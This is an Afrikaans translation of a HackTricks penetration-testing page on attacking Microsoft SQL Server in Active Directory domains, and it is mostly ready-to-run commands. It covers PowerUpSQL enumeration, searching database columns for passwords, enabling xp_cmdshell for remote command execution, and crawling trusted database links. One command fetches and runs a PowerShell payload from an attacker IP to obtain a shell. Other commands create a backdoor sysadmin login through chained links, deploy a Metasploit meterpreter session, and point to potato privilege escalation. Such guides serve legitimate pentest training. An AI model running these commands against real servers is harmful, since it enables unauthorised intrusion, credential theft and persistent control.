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hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md

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MSSQL AD Misbruik

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MSSQL Enumerasie / Ontdekking

Die powershell module PowerUpSQL is baie nuttig in hierdie geval.

Import-Module .\PowerupSQL.psd1

Opname vanaf die netwerk sonder domeinsessie

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Opname vanaf binne die domein

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL Basiese Misbruik

Toegang DB

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Dit mag ook moontlik wees om opdragte binne die MSSQL-gasheer uit te voer

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Check in die bladsy genoem in die volgende afdeling hoe om dit handmatig te doen.

MSSQL Basiese Hacking Trukke

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL Vertroude Skakels

As 'n MSSQL-instansie vertrou (databasis skakel) deur 'n ander MSSQL-instansie. As die gebruiker bevoegdhede oor die vertroude databasis het, sal hy in staat wees om die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.

Die skakels tussen databasisse werk selfs oor woudvertroue.

Powershell Misbruik

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Jy kan maklik vir vertroude skakels kyk met metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Let op dat metasploit slegs die openquery() funksie in MSSQL sal probeer misbruik maak (so, as jy nie 'n opdrag met openquery() kan uitvoer nie, sal jy die EXECUTE metode handmatig moet probeer om opdragte uit te voer, sien meer hieronder.)

Handmatig - Openquery()

Van Linux kan jy 'n MSSQL konsole-skal met sqsh en mssqlclient.py verkry.

Van Windows kan jy ook die skakels vind en opdragte handmatig uitvoer met 'n MSSQL-kliënt soos HeidiSQL

Registrasie met Windows-verifikasie:

Vind Betroubare Skakels

select * from master..sysservers;
EXEC sp_linkedservers;

Voer navrae uit in betroubare skakel

Voer navrae uit deur die skakel (voorbeeld: vind meer skakels in die nuwe toeganklike instansie):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

{% hint style="warning" %} Kyk waar dubbele en enkele aanhalingsmerke gebruik word, dit is belangrik om dit op daardie manier te gebruik. {% endhint %}

Jy kan hierdie vertroude skakelsketting handmatig vir ewig voortset.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

If you cannot perform actions like exec xp_cmdshell from openquery() try with the EXECUTE method.

Manual - EXECUTE

Jy kan ook vertroude skakels misbruik deur EXECUTE te gebruik:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Plaaslike Privilege Escalation

Die MSSQL plaaslike gebruiker het gewoonlik 'n spesiale tipe voorreg genaamd SeImpersonatePrivilege. Dit stel die rekening in staat om "n kliënt na verifikasie na te doen".

'n Strategie wat baie outeurs ontwikkel het, is om 'n SYSTEM-diens te dwing om te verifieer met 'n rogue of man-in-the-middle diens wat die aanvaller skep. Hierdie rogue diens kan dan die SYSTEM-diens naboots terwyl dit probeer om te verifieer.

SweetPotato het 'n versameling van hierdie verskillende tegnieke wat uitgevoer kan word via Beacon se execute-assembly opdrag.

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